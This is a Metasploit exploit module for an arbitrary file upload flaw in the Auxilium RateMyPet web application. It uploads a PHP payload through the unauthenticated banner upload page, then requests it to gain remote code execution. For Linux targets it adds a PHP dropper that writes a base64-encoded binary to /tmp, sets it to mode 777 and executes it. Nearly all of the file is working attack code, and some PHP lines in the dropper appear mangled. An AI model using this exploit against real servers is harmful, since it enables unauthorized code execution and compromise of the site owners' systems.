Auxilium RateMyPet Arbitrary File Upload Vulnerability



##

# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::EXE

    def initialize(info={})
        super(update_info(info,
            'Name'           => "Auxilium RateMyPet Arbitrary File Upload Vulnerability",
            'Description'    => %q{
                    This module exploits a vulnerability found in Auxilium RateMyPet's. The site
                banner uploading feature can be abused to upload an arbitrary file to the web
                server, which is accessible in the 'banner' directory, thus allowing remote code
                execution.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'DaOne',  #Vulnerability discovery
                    'sinn3r'  #Metasploit
                ],
            'References'     =>
                [
                    ['OSVDB', '85554'],
                    ['EDB', '21329']
                ],
            'Payload'        =>
                {
                    'BadChars' => "\x00"
                },
            'DefaultOptions'  =>
                {
                    'ExitFunction' => "none"
                },
            'Platform'       => ['linux', 'php'],
            'Targets'        =>
                [
                [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' }  ],
                [ 'Linux x86'            , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
                ],
            'Privileged'     => false,
            'DisclosureDate' => "Sep 14 2012",
            'DefaultTarget'  => 0))

        register_options(
            [
                OptString.new('TARGETURI', [true, 'The base directory to the application', '/Auxiliumpetratepro/'])
            ], self.class)
    end


    def check
        target_uri.path << '/' if target_uri.path[-1,1] != '/'
        base = File.dirname("#{target_uri.path}.")

        res = send_request_raw({'uri'=>"#{base}/admin/sitebanners/upload_banners.php"})
        if res and res.body =~ /\<title\>Pet Rate Admin \- Banner Manager\<\/title\>/
            return Exploit::CheckCode::Appears
        else
            return Exploit::CheckCode::Safe
        end
    end


    def get_write_exec_payload(fname, data)
        p = Rex::Text.encode_base64(generate_payload_exe)
        php = %Q|
        <?php
        $f 
fopen("#{fname}""wb");
        
fwrite($fbase64_decode("#{p}"));
        
fclose($f);
        
exec("chmod 777 #{fname}");
        
exec("#{fname}");
        
?>
        |
        php = php.gsub(/^\t\t/, '').gsub(/\n/, ' ')
        return php
    end


    def on_new_session(cli)
        if cli.type == "meterpreter"
            cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
        end

        @clean_files.each do |f|
            print_status("#{@peer} - Removing: #{f}")
            begin
                if cli.type == 'meterpreter'
                    cli.fs.file.rm(f)
                else
                    cli.shell_command_token("rm #{f}")
                end
            rescue ::Exception => e
                print_error("#{@peer} - Unable to remove #{f}: #{e.message}")
            end
        end
    end


    def upload_exec(base, php_fname, p)
        data = Rex::MIME::Message.new
        data.add_part('http://', nil, nil, "form-data; name=\"burl\"")
        data.add_part('', nil, nil, "form-data; name=\"alt\"")
        data.add_part(p, 'text/plain', nil, "form-data; name=\"userfile\"; filename=\"#{php_fname}\"")
        data.add_part(' Upload', nil, nil, "form-data; name=\"submitok\"")

        post_data = data.to_s
        post_data = post_data.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')

        print_status("#{@peer} - Uploading payload (#{p.length.to_s} bytes)...")
        res = send_request_cgi({
            'method' => 'POST',
            'uri'    => "#{base}/admin/sitebanners/upload_banners.php",
            'ctype'  => "multipart/form-data; boundary=#{data.bound}",
            'data'   => post_data,
        })

        if not res
            print_error("#{@peer} - No response from host")
            return
        end

        print_status("#{@peer} - Requesting '#{php_fname}'...")
        res = send_request_raw({'uri'=>"#{base}/banners/#{php_fname}"})
        if res and res.code == 404
            print_error("#{@peer} - Upload unsuccessful: #{res.code.to_s}")
            return
        end

        handler
    end


    def exploit
        @peer = "#{rhost}:#{rport}"

        target_uri.path << '/' if target_uri.path[-1,1] != '/'
        base = File.dirname("#{target_uri.path}.")

        php_fname =  "#{Rex::Text.rand_text_alpha(5)}.php"
        @clean_files = [php_fname]

        case target['Platform']
        when 'php'
            p = "<?php #{payload.encoded} ?>"
        when 'linux'
            bin_name = "#{Rex::Text.rand_text_alpha(5)}.bin"
            @clean_files << bin_name
            bin = generate_payload_exe
            p = get_write_exec_payload("/tmp/#{bin_name}", bin)
        end

        upload_exec(base, php_fname, p)
    end
end